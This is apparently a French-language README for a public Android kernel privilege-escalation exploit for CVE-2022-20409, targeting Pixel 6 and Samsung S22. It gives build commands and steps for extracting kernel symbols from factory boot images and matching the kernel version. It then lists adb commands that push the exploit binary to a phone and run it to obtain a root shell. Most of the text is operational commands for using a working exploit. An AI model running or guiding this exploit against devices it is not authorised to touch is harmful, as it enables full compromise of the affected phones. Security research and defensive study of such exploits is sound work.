
Exploitation du noyau Android pour CVE-2022-20409
Assurez-vous que l'Android NDK est installé. Pour pixel 6,
make pixel
Pour samsung s22,
make s22
L'exploit est conçu pour supporter différentes versions de noyaux. Afin de porter l'exploit vers un noyau différent, vous devez extraire le fichier de symboles du noyau cible.
Le noyau peut être extrait de l'image d'usine du téléphone. Pour les Pixels, téléchargez l'image d'usine ici.
Après avoir téléchargé l'image, extrayez l'image pour obtenir le fichier boot.img. boot.img peut être extrait avec tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Vous verrez le noyau dans out/kernel
Maintenant, avec l'image du noyau, nous pouvons utiliser vmlinux-to-elf pour extraire les symboles du noyau.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Vous devez vous assurer que la Version string extraite dans le symbole correspond à la version du noyau de votre téléphone. La version du noyau du téléphone peut être consultée via adb. Par exemple,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
correspond à
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Maintenant vous pouvez pousser l'exploit et le fichier de symboles vers le téléphone et obtenir un root avec les commandes suivantes.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Profitez de votre shell root :)